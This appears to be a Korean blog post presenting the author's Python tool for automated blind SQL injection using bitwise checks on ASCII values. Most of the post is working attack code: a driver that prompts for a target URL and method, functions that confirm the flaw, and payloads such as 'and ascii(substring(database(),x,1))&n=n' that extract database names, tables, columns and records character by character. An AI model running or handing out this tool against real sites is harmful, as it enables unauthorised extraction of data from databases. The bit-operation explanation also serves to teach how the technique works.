개요
Blind SQL Injection은 공격 시간이 상당히 길다. 직접 타이핑하며 공격하기에는 너무 오래 걸려 Python으로 자동화 도구를 만들었다.
이진 탐색과 비트 연산 중 어떤 것으로 구현하는 게 좋을까 고민했는데, 개인적으로는 비트 연산이 구현하기 더 쉽다고 판단해 비트 연산으로 구현했다.
GET Method 전용으로 시작했지만, POST Method 공격 코드도 추가하고 사용자가 Method와 URL을 직접 선택할 수 있도록 개선했다.
전체 구조
"""
This blind SQL Injection attack tools was created by simya.
This tool uses bit operations to perform the attack. 2023-07-03.
"""
import sys
from get_attack_payloads import blind_sql_injection_attack as get
from post_attack_payloads import blind_sql_injection_attack as post
method = input("Does the attack target use the POST or GET method? ")
if method.upper() == "GET":
get()
elif method.upper() == "POST":
post()
else:
print("Quit.")
sys.exit(0)GET Method 공격 함수
import requests
import sys
def blind_sql_injection_attack():
URL = input("Enter the target URL for the attack : ")
query = input("Enter the vulnerabilities detection query (Ex: 'and'1'='1'%23) ")
control_point = input("Enter a string of control points to detect true/false : ")
print(f"vulnerabilities detection query : {URL}{query}")
resp = requests.get(f"{URL}{query}")
if control_point in resp.text:
print("Blind SQL injection vulnerability exists. Start the attack.")
database = database_name(URL, control_point)
table_name(URL, database, control_point)
table = column_name(URL, control_point)
query_data(URL, table, control_point)
else:
print("No blind SQL injection vulnerabilities were found.")데이터베이스 이름 추출 (비트 연산)
def database_name(URL, control_point):
binary_number = [1, 2, 4, 8, 16, 32, 64]
binary_result = 0
database = ""
for x in range(1, 20):
for n in binary_number:
resp = requests.get(f"{URL}'and+ascii(substring(database(),{x},1))%26{n}={n}%23")
if control_point in resp.text:
binary_result += n
if binary_result == 0:
break
else:
database += chr(binary_result)
binary_result = 0
print(f"database name : {database}")
return database핵심 공격 페이로드 함수 (삼중 for문 비트 연산)
def attack_payload(URL, query, control_point):
binary_number = [1, 2, 4, 8, 16, 32, 64]
binary_result = 0
result = []
for i in range(0, 10): # 레코드 순번
data = ""
for j in range(1, 10): # 문자 위치
for k in binary_number: # 비트 연산
payload = f"{URL}'and+ascii(substring(({query}+limit+{i},1),{j},1))%26{k}={k}%23"
resp = requests.get(payload)
if control_point in resp.text:
binary_result += k # 이진수 총합 누적
if binary_result == 0:
break # 다음 데이터로
else:
data += chr(binary_result) # 10진수 → 문자 변환
binary_result = 0
if len(data) == 0:
break
else:
result.append(data)
return result비트 연산 원리
ascii(substring(database(), 1, 1)) & 1 = 1 방식으로 각 문자의 ASCII 코드를 비트 단위로 확인한다.
예를 들어 'a'의 ASCII 코드는 97 (2진수: 1100001)이다.
| 비트 | 결과 |
|---|---|
| &1 | 1 |
| &2 | 0 |
| &4 | 0 |
| &8 | 0 |
| &16 | 0 |
| &32 | 32 |
| &64 | 64 |
| 합계 | 97 → chr(97) = ‘a’ |